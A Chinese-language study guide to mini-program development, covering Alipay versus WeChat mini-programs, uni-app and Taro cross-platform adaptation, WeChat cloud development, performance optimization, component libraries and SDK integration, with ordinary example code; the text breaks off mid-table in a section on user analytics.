开发工具 微信开发者工具 支付宝开发者工具 / IDE
API 前缀 wx. my.
组件名 view / text view / text
数据绑定 {{ }} {{ }}
列表渲染 wx:for a:for
条件渲染 wx:if a:if
事件绑定 bindtap onTap
AppID wx 开头 数字
审核时间 1-7天 1-3天
流量入口 微信内分享、搜索、扫码 支付宝首页、搜索、扫码

开发流程

  1. 注册开放平台账号
  2. 创建小程序获取 AppID
  3. 下载开发者工具
  4. 开发调试
  5. 提交审核
  6. 发布上线

示例

// app.js
App({
  onLaunch(options) {
    console.log('小程序启动', options)
  },
  globalData: {
    userInfo: null
  }
})

// pages/index/index.js
Page({
  data: {
    message: 'Hello Alipay'
  },
  onLoad() {
    my.showToast({ content: '页面加载' })
  }
})
<!-- pages/index/index.axml -->
<view class="container">
  <text>{{message}}</text>
  <button onTap="handleTap">点击</button>
</view>

12. 支付宝小程序配置

定义

支付宝小程序的配置结构与微信类似,包含全局配置和页面配置。

app.json 配置

{
  "pages": [
    "pages/index/index",
    "pages/user/index"
  ],
  "window": {
    "defaultTitle": "支付宝小程序",
    "titleBarColor": "#1677FF",
    "allowsBounceVertical": "YES",
    "transparentTitle": "auto"
  },
  "tabBar": {
    "textColor": "#999",
    "selectedColor": "#1677FF",
    "backgroundColor": "#fff",
    "items": [
      {
        "pagePath": "pages/index/index",
        "name": "首页",
        "icon": "images/home.png",
        "activeIcon": "images/home-active.png"
      },
      {
        "pagePath": "pages/user/index",
        "name": "我的",
        "icon": "images/user.png",
        "activeIcon": "images/user-active.png"
      }
    ]
  }
}

13. 支付宝小程序登录

定义

支付宝小程序登录基于支付宝授权,通过 my.getAuthCode 获取授权码,换取用户标识。

登录流程

// 小程序端
Page({
  async login() {
    // 1. 获取授权码
    const { authCode } = await my.getAuthCode({
      scopes: 'auth_user'
    })
    
    // 2. 发送到后端
    const res = await my.httpRequest({
      url: 'https://api.example.com/alipay/login',
      method: 'POST',
      data: { authCode }
    })
    
    // 3. 存储登录态
    my.setStorageSync({
      key: 'token',
      data: res.data.token
    })
  }
})

后端实现

// 后端换取用户信息
async function alipayLogin(authCode) {
  // 调用支付宝接口
  const result = await alipayClient.exec(
    'alipay.system.oauth.token',
    {
      grant_type: 'authorization_code',
      code: authCode
    }
  )
  
  const { access_token, user_id, alipay_user_id } = result
  
  // 获取用户信息
  const userInfo = await alipayClient.exec(
    'alipay.user.info.share',
    {},
    { authToken: access_token }
  )
  
  // 生成 token
  const token = generateToken(user_id)
  
  return { token, userInfo }
}

14. 支付宝小程序支付

定义

支付宝小程序支付通过 my.tradePay 接口调起收银台,完成支付流程。

实现代码

// 小程序端
Page({
  async doPayment(orderId) {
    // 1. 请求后端获取交易号
    const { data } = await my.httpRequest({
      url: 'https://api.example.com/pay/create',
      method: 'POST',
      data: { orderId }
    })
    
    // 2. 调起支付
    my.tradePay({
      tradeNO: data.tradeNo,
      success: (res) => {
        console.log('支付成功', res)
      },
      fail: (err) => {
        console.error('支付失败', err)
      }
    })
  }
})

后端创建订单

// Node.js 后端
async function createAlipayOrder(params) {
  const { outTradeNo, totalAmount, subject } = params
  
  const result = await alipayClient.exec(
    'alipay.trade.create',
    {
      out_trade_no: outTradeNo,
      total_amount: totalAmount,
      subject: subject
    }
  )
  
  return { tradeNo: result.trade_no }
}

15. 支付宝小程序与微信小程序的区别

对比表格

对比项 微信小程序 支付宝小程序
定位 社交+服务 商业+服务
文件扩展名 wxml/wxss axml/acss
API 前缀 wx. my.
事件绑定 bindtap / catchtap onTap / catchTap
条件渲染 wx:if a:if
列表渲染 wx:for a:for
双向绑定 model:value a:model
组件引用 usingComponents usingComponents
支付 wx.requestPayment my.tradePay
登录 wx.login → code my.getAuthCode → authCode
分享 onShareAppMessage onShareAppMessage
订阅消息 订阅消息 模板消息
用户信息 getUserProfile my.getOpenUserInfo
云开发 微信云开发 支付宝云开发
审核 较严格 相对宽松
流量入口 群聊、朋友圈 支付宝首页、生活号
商业化 广告、电商 金融、商业服务

选择策略

  • 社交属性强 → 微信小程序
  • 商业/金融属性 → 支付宝小程序
  • 覆盖更多用户 → 同时开发或使用跨端框架

三、多端小程序适配

16. 什么是多端小程序?

定义

多端小程序是指一套代码可以编译运行到多个小程序平台(微信、支付宝、百度、头条、QQ等)的技术方案。

跨端框架对比

框架 出品方 语法基础 支持平台 特点
uni-app DCloud Vue 微信/支付宝/百度/头条/H5/App 生态完善,社区活跃
Taro 京东 React/Vue 微信/支付宝/百度/头条/H5/RN 灵活,React生态
mpvue 美团 Vue 微信/头条 已停止维护
Chameleon 滴滴 自研 微信/支付宝/百度 统一多端规范
Remax 阿里 React 微信/支付宝/头条 使用完整React

17. uni-app 详解

定义

uni-app 是基于 Vue.js 的跨端框架,一套代码可编译到 iOS、Android、H5、以及各种小程序。

项目结构

uni-app-project/
├── pages.json          # 页面路由配置
├── manifest.json       # 应用配置
├── App.vue             # 应用入口
├── main.js             # 入口文件
├── pages/              # 页面目录
│   └── index/
│       └── index.vue
├── components/         # 组件目录
├── static/             # 静态资源
├── store/              # Vuex
├── utils/              # 工具函数
└── uni.scss            # 全局样式

条件编译

<template>
  <view>
    <!-- #ifdef H5 -->
    <text>这是 H5 平台</text>
    <!-- #endif -->
    
    <!-- #ifdef MP-WEIXIN -->
    <text>这是微信小程序</text>
    <!-- #endif -->
    
    <!-- #ifdef APP-PLUS -->
    <text>这是 App</text>
    <!-- #endif -->
  </view>
</template>

<script>
export default {
  onLoad() {
    // #ifdef MP-WEIXIN
    wx.login()
    // #endif
    
    // #ifdef MP-ALIPAY
    my.getAuthCode()
    // #endif
  }
}
</script>

API 统一调用

// uni-app 统一 API
uni.login({
  success(res) {
    console.log(res.code)
  }
})

uni.request({
  url: 'https://api.example.com/data',
  success(res) {
    console.log(res.data)
  }
})

18. Taro 详解

定义

Taro 是京东出品的跨端框架,支持使用 React/Vue/Nerv 等框架开发多端应用。

项目结构

taro-project/
├── config/               # 编译配置
│   ├── dev.ts
│   ├── index.ts
│   └── prod.ts
├── src/
│   ├── app.ts            # 入口文件
│   ├── app.config.ts     # 全局配置
│   ├── pages/            # 页面
│   │   └── index/
│   │       ├── index.tsx
│   │       └── index.config.ts
│   ├── components/       # 组件
│   └── store/            # 状态管理
└── package.json

React 示例

// src/pages/index/index.tsx
import { View, Text } from '@tarojs/components'
import { useState } from 'react'
import Taro from '@tarojs/taro'

export default function Index() {
  const [count, setCount] = useState(0)
  
  return (
    <View className="container">
      <Text>计数: {count}</Text>
      <View onClick={() => setCount(c => c + 1)}>
        +1
      </View>
    </View>
  )
}

条件编译

// 条件编译
if (process.env.TARO_ENV === 'weapp') {
  // 微信小程序特有代码
}

if (process.env.TARO_ENV === 'alipay') {
  // 支付宝小程序特有代码
}

19. uni-app 与 Taro 的区别

对比表格

对比项 uni-app Taro
技术栈 Vue 2/3 React/Vue/Nerv
开发公司 DCloud 京东
编译原理 Vue 编译到各端 React/Vue 编译到各端
组件库 uView/uni-ui Taro UI/NutUI
调试体验 HBuilderX 内置 各端开发者工具
生态 插件市场丰富 React 生态
学习成本 Vue 开发者友好 React 开发者友好
性能 较好 较好
社区活跃度 非常活跃 活跃
企业采用 中小企业多 大厂项目多

选择策略

  • 团队熟悉 Vue → uni-app
  • 团队熟悉 React → Taro
  • 需要快速开发 → uni-app(配套工具完善)
  • 需要定制性强 → Taro(灵活度高)

20. 小程序适配方案

实现步骤

方案一:条件编译

// 平台判断
const platform = Taro.getEnv() // WEAPP / ALIPAY / H5

if (platform === 'WEAPP') {
  // 微信小程序
  Taro.login()
} else if (platform === 'ALIPAY') {
  // 支付宝小程序
  Taro.getAuthCode()
}

方案二:统一封装

// utils/auth.ts
interface AuthAdapter {
  login(): Promise<{ code: string }>
  getUserInfo(): Promise<any>
}

class WechatAuth implements AuthAdapter {
  async login() {
    return Taro.login()
  }
  async getUserInfo() {
    return Taro.getUserProfile({ desc: '用户信息' })
  }
}

class AlipayAuth implements AuthAdapter {
  async login() {
    return Taro.getAuthCode({ scopes: 'auth_user' })
  }
  async getUserInfo() {
    return Taro.getOpenUserInfo()
  }
}

// 工厂函数
function createAuthAdapter(): AuthAdapter {
  const env = Taro.getEnv()
  if (env === 'WEAPP') return new WechatAuth()
  if (env === 'ALIPAY') return new AlipayAuth()
  throw new Error('不支持的平台')
}

方案三:平台差异处理

// 支付适配
async function pay(params) {
  const env = Taro.getEnv()
  
  if (env === 'WEAPP') {
    return Taro.requestPayment({
      ...params,
      provider: 'wxpay'
    })
  }
  
  if (env === 'ALIPAY') {
    return Taro.tradePay({
      tradeNO: params.tradeNo
    })
  }
}

21. 条件编译详解

定义

条件编译是在编译时根据目标平台选择性地编译代码,是跨端框架处理平台差异的核心机制。

uni-app 条件编译语法

<template>
  <view>
    <!-- #ifdef MP-WEIXIN -->
    <button open-type="share">微信分享</button>
    <!-- #endif -->
    
    <!-- #ifdef MP-ALIPAY -->
    <button open-type="share">支付宝分享</button>
    <!-- #endif -->
    
    <!-- #ifdef H5 -->
    <button @click="shareOnH5">H5分享</button>
    <!-- #endif -->
  </view>
</template>

<script>
export default {
  methods: {
    handlePay() {
      // #ifdef MP-WEIXIN
      wx.requestPayment({ ... })
      // #endif
      
      // #ifdef MP-ALIPAY
      my.tradePay({ ... })
      // #endif
      
      // #ifdef H5
      // H5支付逻辑
      // #endif
    }
  }
}
</script>

<style>
/* #ifdef MP-WEIXIN */
.container { padding: 20rpx; }
/* #endif */

/* #ifdef H5 */
.container { padding: 20px; }
/* #endif */
</style>

22. 平台差异处理

常见差异点及处理

1. 单位差异

// 微信使用 rpx,支付宝使用 rpx,H5 使用 px
// uni-app 自动转换
// Taro 需要手动处理

2. 事件参数差异

// 微信
handleTap(e) {
  const value = e.currentTarget.dataset.value
}

// 支付宝
handleTap(e) {
  const value = e.target.dataset.value
}

// 跨端处理
getDataset(e) {
  const env = Taro.getEnv()
  if (env === 'WEAPP') {
    return e.currentTarget.dataset
  }
  return e.target.dataset
}

3. 导航栏差异

// 微信
{
  "navigationBarTitleText": "标题"
}

// 支付宝
{
  "defaultTitle": "标题"
}

// 跨端配置(uni-app)
{
  "pages": [{
    "path": "pages/index/index",
    "style": {
      "navigationBarTitleText": "标题"
    }
  }]
}

四、小程序云开发

23. 什么是云开发?

定义

小程序云开发是微信提供的 Serverless 服务,开发者无需搭建服务器即可使用云端能力,包括云函数、云数据库、云存储等。

核心能力

┌──────────────────────────────────────────────────────────┐
│                      小程序云开发                          │
├────────────────┬──────────────────┬───────────────────────┤
│   云函数        │    云数据库       │      云存储           │
│  - 服务端逻辑   │  - JSON 文档存储  │  - 文件上传下载       │
│  - 定时触发     │  - 实时推送      │  - 文件管理           │
│  - HTTP 访问   │  - 权限控制      │  - CDN 加速           │
└────────────────┴──────────────────┴───────────────────────┘
                          │
                  ┌───────┴───────┐
                  │   云调用       │
                  │  - 免鉴权调用  │
                  │  - 开放 API    │
                  └───────────────┘

开通云开发

  1. 打开微信开发者工具
  2. 点击"云开发"按钮
  3. 开通并创建环境
  4. 获取环境 ID
// app.js
App({
  onLaunch() {
    wx.cloud.init({
      env: 'your-env-id',
      traceUser: true
    })
  }
})

24. 云函数

定义

云函数是运行在云端的 Node.js 代码,用于处理服务端逻辑。

创建云函数

// cloud-functions/login/index.js
const cloud = require('wx-server-sdk')
cloud.init()

exports.main = async (event, context) => {
  const { userInfo } = event
  const { OPENID } = cloud.getWXContext()
  
  // 保存用户信息
  const db = cloud.database()
  await db.collection('users').add({
    data: {
      openid: OPENID,
      ...userInfo,
      createTime: db.serverDate()
    }
  })
  
  return { openid: OPENID }
}

调用云函数

// 小程序端
wx.cloud.callFunction({
  name: 'login',
  data: { userInfo: { nickName: 'test' } },
  success: res => {
    console.log('云函数返回', res.result)
  }
})

定时触发器

// cloud-functions/cleanData/config.json
{
  "triggers": [
    {
      "name": "dailyClean",
      "type": "timer",
      "config": "0 0 2 * * * *"
    }
  ]
}
// 定时执行的云函数
exports.main = async (event, context) => {
  const db = cloud.database()
  
  // 清理7天前的数据
  const sevenDaysAgo = new Date(Date.now() - 7 * 24 * 60 * 60 * 1000)
  
  await db.collection('logs').where({
    createTime: db.command.lt(sevenDaysAgo)
  }).remove()
  
  return { success: true }
}

HTTP 访问

// 开通 HTTP 访问后
// 可以通过 URL 直接调用
// https://env-id.service.tcloudbase.com/login

最佳实践

  • 敏感操作放在云函数
  • 使用云函数免鉴权调用微信开放 API
  • 合理设置超时时间
  • 错误处理要完善

25. 云数据库

定义

云数据库是 JSON 文档型数据库,基于 MongoDB,提供完整的 CRUD 能力。

基本操作

const db = wx.cloud.database()
const _ = db.command

// 增
async function addData() {
  const res = await db.collection('todos').add({
    data: {
      description: '学习云开发',
      done: false,
      createTime: db.serverDate()
    }
  })
  return res._id
}

// 删
async function deleteData(id) {
  await db.collection('todos').doc(id).remove()
}

// 改
async function updateData(id) {
  await db.collection('todos').doc(id).update({
    data: {
      done: true
    }
  })
}

// 查
async function queryData() {
  const res = await db.collection('todos')
    .where({ done: false })
    .orderBy('createTime', 'desc')
    .limit(20)
    .get()
  return res.data
}

高级查询

// 条件查询
const res = await db.collection('todos').where({
  done: false,
  tags: _.in(['work', 'important'])
}).get()

// 范围查询
const res2 = await db.collection('orders').where({
  amount: _.gte(100).lte(500)
}).get()

// 模糊查询(正则)
const res3 = await db.collection('users').where({
  name: db.RegExp({
    regexp: '.*test.*',
    options: 'i'
  })
}).get()

// 聚合查询
const $ = db.command.aggregate
const res4 = await db.collection('orders').aggregate()
  .group({
    _id: '$status',
    count: $.sum(1),
    total: $.sum('$amount')
  })
  .end()

权限管理

权限 说明
仅创建者可读写 只有数据创建者可以操作
仅管理端可写,所有用户可读 适合公告类数据
仅管理端可读写 后台配置数据
所有用户可读 公开数据
所有用户可写 不推荐使用

实时数据推送

// 监听数据变化
const watcher = db.collection('todos').watch({
  onChange(snapshot) {
    console.log('数据变化', snapshot)
  },
  onError(err) {
    console.error('监听失败', err)
  }
})

// 关闭监听
watcher.close()

26. 云存储

定义

云存储提供文件上传下载能力,支持 CDN 加速。

文件上传

// 选择并上传图片
wx.chooseImage({
  count: 1,
  success(res) {
    const filePath = res.tempFilePaths[0]
    const cloudPath = `images/${Date.now()}.jpg`
    
    wx.cloud.uploadFile({
      cloudPath,
      filePath,
      success(res) {
        console.log('上传成功', res.fileID)
      }
    })
  }
})

文件下载

// 下载文件
wx.cloud.downloadFile({
  fileID: 'cloud://xxx.jpg',
  success(res) {
    console.log('下载成功', res.tempFilePath)
  }
})

获取临时链接

// 获取临时 URL(有效期有限)
wx.cloud.getTempFileURL({
  fileList: ['cloud://xxx.jpg'],
  success(res) {
    console.log('临时链接', res.fileList[0].tempFileURL)
  }
})

删除文件

wx.cloud.deleteFile({
  fileList: ['cloud://xxx.jpg'],
  success(res) {
    console.log('删除成功')
  }
})

27. 云调用

定义

云调用是在云函数中免鉴权调用微信开放 API 的能力。

示例

// 云函数中发送订阅消息
const cloud = require('wx-server-sdk')
cloud.init()

exports.main = async (event, context) => {
  const { OPENID } = cloud.getWXContext()
  
  try {
    await cloud.openapi.subscribeMessage.send({
      touser: OPENID,
      page: 'pages/index/index',
      data: {
        thing1: { value: '订单已发货' },
        time2: { value: '2024-01-15' }
      },
      templateId: 'template_id_xxx'
    })
    
    return { success: true }
  } catch (err) {
    return { success: false, error: err }
  }
}

支持的开放 API

  • 订阅消息
  • 统一服务消息
  • 获取小程序码
  • 内容安全检测
  • 物流助手
  • 附近的小程序

28. 云开发与传统后端的区别

对比表格

对比项 云开发 传统后端
服务器 无需搭建 需购买/配置
域名 无需备案 需备案
HTTPS 自动支持 需配置证书
数据库 JSON 文档型 MySQL/MongoDB 等
部署 一键上传 CI/CD 流程
鉴权 免鉴权调用微信 API 需配置 access_token
扩展性 自动扩容 手动扩展
成本 按量付费 固定 + 运维成本
调试 本地+云端 本地+服务器
适合场景 中小型项目 大型复杂项目

选择策略

  • 个人项目/小型项目 → 云开发
  • 大型企业项目 → 传统后端
  • 需要快速验证 → 云开发
  • 需要高度定制 → 传统后端

29. 云开发优势

  1. 快速开发:无需搭建服务器,开箱即用
  2. 免运维:自动扩容,无需关心服务器状态
  3. 天然鉴权:云函数调用微信 API 免 access_token
  4. 成本低:按量付费,空闲不收费
  5. 数据安全:微信提供安全保障
  6. 实时推送:数据库支持实时监听

30. 云开发限制

  1. 冷启动延迟:云函数空闲后重新调用有延迟
  2. 数据库限制:单次查询最多 100 条
  3. 调用频率:云函数并发数有限制
  4. 存储空间:免费额度有限
  5. 绑定环境:一个小程序最多绑定两个环境
  6. 不支持长连接:无法使用 WebSocket

五、小程序性能优化

31. 小程序性能优化概述

优化维度

┌──────────────────────────────────────────────────────────┐
│                    小程序性能优化                          │
├──────────┬───────────┬────────────┬───────────┬──────────┤
│ 启动优化  │ 渲染优化   │ 数据优化   │ 包体积优化 │ 网络优化 │
├──────────┼───────────┼────────────┼───────────┼──────────┤
│ 分包加载  │ setData优化│ 数据缓存   │ 代码压缩  │ 请求合并 │
│ 按需注入  │ 列表优化   │ 数据分页   │ 图片压缩  │ 数据预取 │
│ 预下载   │ 避免重排   │ 避免冗余   │ 按需加载  │ CDN加速 │
│ 首屏优化  │ 组件复用   │ 及时清理   │ 移除冗余  │ 弱网处理 │
└──────────┴───────────┴────────────┴───────────┴──────────┘

性能指标

  • 首屏时间 < 1.5 秒
  • setData 调用频率 < 20 次/秒
  • 数据包大小 < 256KB
  • 页面节点数 < 1000

32. setData 优化

定义

setData 是小程序数据绑定的核心 API,频繁或大量使用会导致性能问题。

性能问题根源

  • 逻辑层到渲染层的通信有开销
  • 数据需要 JSON 序列化
  • 频繁调用会阻塞渲染

优化策略

策略一:减少 setData 频率

// ❌ 错误做法:频繁 setData
for (let i = 0; i < 100; i++) {
  this.setData({ count: i })
}

// ✅ 正确做法:批量更新
let count = 0
for (let i = 0; i < 100; i++) {
  count = i
}
this.setData({ count })

策略二:减少数据量

// ❌ 错误做法:传递完整数据
this.setData({
  list: largeArray,        // 1000条数据
  detail: largeObject      // 大对象
})

// ✅ 正确做法:按需传递
this.setData({
  'list[0].name': '新名称',  // 局部更新
  'detail.field': '新值'
})

策略三:避免后台页面 setData

Page({
  onUnload() {
    // 页面销毁时取消定时器
    clearInterval(this.timer)
  },
  
  onHide() {
    // 页面隐藏时停止数据更新
    this.isPageVisible = false
  },
  
  onShow() {
    this.isPageVisible = true
  },
  
  async loadData() {
    const data = await fetchData()
    if (this.isPageVisible !== false) {
      this.setData({ data })
    }
  }
})

策略四:使用局部路径更新

// 更新数组某一项
this.setData({
  'list[0].title': '新标题'
})

// 更新对象属性
this.setData({
  'user.name': '新名称'
})

// 动态路径更新
const index = 0
const field = 'title'
this.setData({
  [`list[${index}].${field}`]: '新值'
})

策略五:数据分离

// 将不需要渲染的数据放在 data 外
Page({
  data: {
    displayList: []  // 只存储需要展示的数据
  },
  rawData: [],        // 存储完整数据
  
  processList(raw) {
    this.rawData = raw
    this.setData({
      displayList: raw.slice(0, 20)  // 只显示前20条
    })
  }
})

33. 分包加载

定义

分包加载是将小程序代码包拆分成多个包,按需加载,减少首屏加载时间。

配置示例

{
  "pages": [
    "pages/index/index",
    "pages/detail/index"
  ],
  "subPackages": [
    {
      "root": "packageA",
      "pages": [
        "pages/user/index",
        "pages/order/index"
      ]
    },
    {
      "root": "packageB",
      "pages": [
        "pages/shop/index",
        "pages/cart/index"
      ]
    }
  ]
}

目录结构

miniprogram/
├── pages/              # 主包页面
│   ├── index/
│   └── detail/
├── packageA/           # 分包A
│   └── pages/
│       ├── user/
│       └── order/
├── packageB/           # 分包B
│   └── pages/
│       ├── shop/
│       └── cart/
└── app.json

分包规则

  • 主包大小 ≤ 2MB
  • 分包大小 ≤ 2MB
  • 总包大小 ≤ 20MB
  • 主包必须包含 tabBar 页面

导航到分包页面

// 跳转到分包页面
wx.navigateTo({
  url: '/packageA/pages/user/index'
})

34. 独立分包

定义

独立分包是可以独立运行的分包,不依赖主包,可以进一步提升启动速度。

配置

{
  "subPackages": [
    {
      "root": "packageIndependent",
      "independent": true,
      "pages": [
        "pages/activity/index"
      ]
    }
  ]
}

使用场景

  • 营销活动页面
  • 不需要登录的页面
  • 需要快速打开的页面

限制

  • 无法使用主包的自定义组件
  • 无法访问主包的全局数据
  • 需要独立包含所需资源

35. 分包预下载

定义

在用户访问分包页面前提前下载分包,减少跳转等待时间。

配置

{
  "preloadRule": {
    "pages/index/index": {
      "network": "all",
      "packages": ["packageA", "packageB"]
    },
    "pages/detail/index": {
      "packages": ["packageA"]
    }
  }
}

预下载策略

  • 在首页预下载常用分包
  • 根据用户行为预测预下载
  • WiFi 环境下预下载更多

代码预下载

// 主动触发预下载
wx.loadSubPackage({
  name: 'packageA',
  success() {
    console.log('分包加载完成')
  }
})

36. 按需注入

定义

按需注入是让小程序在启动时只注入当前页面所需的自定义组件,减少启动时间和内存占用。

配置

{
  "lazyCodeLoading": "requiredComponents"
}

效果

  • 减少启动时间
  • 减少内存占用
  • 按需加载组件代码

37. 图片优化

优化策略

策略一:使用合适的格式

<!-- 使用 webp 格式(体积更小) -->
<image src="/images/banner.webp" />

<!-- 使用 mode 控制缩放 -->
<image src="/images/photo.jpg" mode="aspectFill" />

策略二:使用 CDN 图片

// 根据设备像素比加载不同分辨率图片
const systemInfo = wx.getSystemInfoSync()
const pixelRatio = systemInfo.pixelRatio

const imageUrl = `https://cdn.example.com/image_${pixelRatio > 2 ? '@3x' : '@2x'}.jpg`

策略三:懒加载

<!-- 图片懒加载 -->
<image src="/images/placeholder.png" 
       data-src="/images/real.jpg"
       lazy-load />

策略四:使用骨架屏

<!-- 加载时显示骨架 -->
<view class="skeleton" wx:if="{{loading}}">
  <view class="skeleton-line"></view>
  <view class="skeleton-line"></view>
</view>

<view wx:else>
  <image src="{{imageUrl}}" />
</view>

38. 代码包体积优化

优化策略

策略一:清理无用代码

// project.config.json
{
  "packOptions": {
    "ignore": [
      {
        "type": "file",
        "value": "test.js"
      },
      {
        "type": "folder",
        "value": "tests"
      }
    ]
  }
}

策略二:使用分包

{
  "subPackages": [
    {
      "root": "packageA",
      "pages": [...]
    }
  ]
}

策略三:压缩图片

# 使用 tinypng 等工具压缩图片
# 优先使用 webp 格式

策略四:按需引入组件库

// ❌ 全量引入
import vant from 'vant-weapp'

// ✅ 按需引入
import { Button, Cell } from 'vant-weapp'

策略五:移除 console

// project.config.json
{
  "setting": {
    "minified": true,
    "uglifyFileName": true
  }
}

39. 渲染性能优化

优化策略

策略一:减少节点数

<!-- ❌ 嵌套过深 -->
<view>
  <view>
    <view>
      <view>
        <text>内容</text>
      </view>
    </view>
  </view>
</view>

<!-- ✅ 扁平化 -->
<view class="container">
  <text>内容</text>
</view>

策略二:避免频繁更新

// ❌ 动画使用 setData
setInterval(() => {
  this.setData({ left: this.data.left + 1 })
}, 16)

// ✅ 使用 CSS 动画或 wx.createAnimation

策略三:列表优化

<!-- 使用 wx:key 提升性能 -->
<view wx:for="{{list}}" wx:key="id">
  <text>{{item.name}}</text>
</view>

策略四:使用自定义组件

// 将复杂逻辑封装成组件
// 避免页面过于臃肿
Component({
  properties: {
    data: Object
  },
  methods: {
    // 组件内部逻辑
  }
})

40. 避免频繁 setData

常见场景及优化

场景一:滚动事件

// ❌ 每次滚动都 setData
Page({
  onScroll(e) {
    this.setData({ scrollTop: e.detail.scrollTop })
  }
})

// ✅ 节流处理
Page({
  onScroll(e) {
    this.throttleScroll(e)
  },
  throttleScroll: throttle(function(e) {
    this.setData({ scrollTop: e.detail.scrollTop })
  }, 100)
})

function throttle(fn, delay) {
  let timer = null
  return function(...args) {
    if (!timer) {
      timer = setTimeout(() => {
        fn.apply(this, args)
        timer = null
      }, delay)
    }
  }
}

场景二:实时搜索

// ❌ 每次输入都请求
Page({
  onSearchInput(e) {
    this.search(e.detail.value)
  }
})

// ✅ 防抖处理
Page({
  onSearchInput: debounce(function(e) {
    this.search(e.detail.value)
  }, 300)
})

function debounce(fn, delay) {
  let timer = null
  return function(...args) {
    clearTimeout(timer)
    timer = setTimeout(() => fn.apply(this, args), delay)
  }
}

六、小程序组件库

41. 小程序组件库概述

定义

小程序组件库是预先封装好的 UI 组件集合,帮助开发者快速构建小程序界面。

主流组件库对比

组件库 出品方 特点 适用场景
Vant Weapp 有赞 组件丰富,文档完善 电商类小程序
WeUI 微信官方 原生风格,轻量 基础组件需求
iView Weapp TalkingData 设计精美 管理后台类
ColorUI 个人 色彩丰富 视觉要求高
Taro UI 京东 跨端支持 Taro 项目
uni-ui DCloud 跨端支持 uni-app 项目

42. Vant Weapp

定义

Vant Weapp 是有赞团队开源的小程序 UI 组件库,组件丰富,文档完善。

安装使用

# npm 安装
npm i @vant/weapp -S --production

使用示例

// page.json
{
  "usingComponents": {
    "van-button": "@vant/weapp/button/index",
    "van-cell": "@vant/weapp/cell/index",
    "van-dialog": "@vant/weapp/dialog/index"
  }
}
<!-- wxml -->
<van-button type="primary" bind:click="onSubmit">
  提交
</van-button>

<van-cell-group>
  <van-cell title="单元格" value="内容" />
</van-cell-group>

常用组件

  • Button 按钮
  • Cell 单元格
  • Dialog 弹窗
  • Toast 提示
  • Form 表单
  • Tab 标签页
  • Popup 弹出层

43. WeUI

定义

WeUI 是微信官方设计团队为小程序量身定制的 UI 组件库,与微信原生视觉体验一致。

使用方式

// page.json
{
  "usingComponents": {
    "mp-button": "weui-miniprogram/button/button"
  }
}

特点

  • 官方出品,风格统一
  • 组件精简,轻量级
  • 持续更新维护

44. 自定义组件库

定义

自定义组件是开发者根据业务需求封装的可复用组件。

创建自定义组件

// components/custom-button/index.js
Component({
  properties: {
    text: {
      type: String,
      value: '按钮'
    },
    type: {
      type: String,
      value: 'default'
    },
    disabled: {
      type: Boolean,
      value: false
    }
  },
  
  data: {
    loading: false
  },
  
  methods: {
    onTap() {
      if (this.data.disabled || this.data.loading) return
      
      this.setData({ loading: true })
      this.triggerEvent('click')
    },
    
    reset() {
      this.setData({ loading: false })
    }
  }
})
<!-- components/custom-button/index.wxml -->
<view 
  class="custom-button custom-button--{{type}} {{disabled ? 'is-disabled' : ''}}"
  bindtap="onTap"
>
  <text wx:if="{{loading}}">加载中...</text>
  <text wx:else>{{text}}</text>
</view>
/* components/custom-button/index.wxss */
.custom-button {
  padding: 20rpx 40rpx;
  border-radius: 8rpx;
  text-align: center;
}

.custom-button--primary {
  background: #07C160;
  color: #fff;
}

.custom-button--default {
  background: #f7f7f7;
  color: #333;
}

.is-disabled {
  opacity: 0.5;
}

使用自定义组件

// page.json
{
  "usingComponents": {
    "custom-button": "/components/custom-button/index"
  }
}
<!-- wxml -->
<custom-button 
  text="提交订单" 
  type="primary"
  bind:click="handleSubmit"
/>

组件通信

// 父传子:properties
// 子传父:triggerEvent
// 兄弟通信:父组件中转
// 跨层级:provide/inject(基础库 2.9.2+)

// 父组件
Component({
  data: { message: 'hello' }
})

// 子组件
Component({
  properties: { message: String }
})

七、第三方 SDK 集成

45. 第三方 SDK 概述

定义

第三方 SDK 是为了扩展小程序能力而集成的外部开发工具包。

常用 SDK 分类

类别 SDK 用途
支付 微信支付 SDK 小程序内支付
地图 腾讯地图 SDK 定位、路线规划
统计 友盟、TalkingData 数据统计分析
推送 模板消息 SDK 消息推送
分享 分享组件 社交分享
登录 微信开放平台 第三方登录

46. 微信开放平台

定义

微信开放平台提供 APP、网站、公众号与小程序的账号互通能力。

UnionID 机制

// 同一开放平台账号下的小程序、公众号、APP
// 用户可以通过 UnionID 识别

// 获取 UnionID 的条件:
// 1. 用户关注公众号
// 2. 用户曾授权登录
// 3. 通过开放平台绑定

// 云函数中获取
const cloud = require('wx-server-sdk')
exports.main = async (event, context) => {
  const { OPENID, UNIONID } = cloud.getWXContext()
  return { openid: OPENID, unionid: UNIONID }
}

47. 地图 SDK

腾讯地图 SDK 使用

// 引入 SDK
const QQMapWX = require('../../libs/qqmap-wx-jssdk.js')
const qqmapsdk = new QQMapWX({ key: 'YOUR_KEY' })

Page({
  // 获取当前位置
  async getLocation() {
    wx.getLocation({
      type: 'gcj02',
      success: async (res) => {
        const { latitude, longitude } = res
        
        // 逆地址解析
        const result = await qqmapsdk.reverseGeocoder({
          location: { latitude, longitude }
        })
        
        console.log('当前位置:', result.result.address)
      }
    })
  },
  
  // 搜索地点
  async searchPlace(keyword) {
    const result = await qqmapsdk.search({
      keyword,
      location: '39.980017,116.313972'
    })
    
    return result.data
  }
})

48. 统计 SDK

友盟统计集成

// app.js
App({
  onLaunch() {
    // 初始化
    wx.umeng.trackInit({
      appKey: 'YOUR_APP_KEY'
    })
  },
  
  onShow(options) {
    // 页面统计
    wx.umeng.setPageCollection()
  }
})

// 自定义事件
function trackEvent(eventName, params) {
  wx.umeng.trackEvent(eventName, params)
}

// 使用
trackEvent('buy_product', {
  productId: '123',
  price: 99.9
})

49. 分享 SDK

自定义分享实现

// utils/share.js
export function generateShareParams(options) {
  return {
    title: options.title || '默认标题',
    path: `/pages/index/index?shareId=${options.shareId}`,
    imageUrl: options.imageUrl || '/images/share.png',
    success() {
      // 分享成功统计
      wx.umeng.trackEvent('share_success')
    }
  }
}

// 页面中使用
Page({
  onShareAppMessage() {
    return generateShareParams({
      title: '分享标题',
      shareId: 'user123',
      imageUrl: 'https://xxx.png'
    })
  }
})

八、小程序数据分析

50. 小程序统计

定义

小程序统计是对小程序使用情况的数据收集和分析,帮助优化产品体验。

微信小程序数据分析后台

  1. 登录微信公众平台
  2. 进入"统计" → "数据分析"
  3. 查看各项指标

核心指标

  • 访问人数/次数
  • 页面访问路径
  • 停留时长
  • 跳出率
  • 新老用户占比

51. 用户画像

定义

用户画像是对小程序用户属性的分析,包括性别、年龄、地区等。

数据维度

维度 说明
性别分布 男女比例
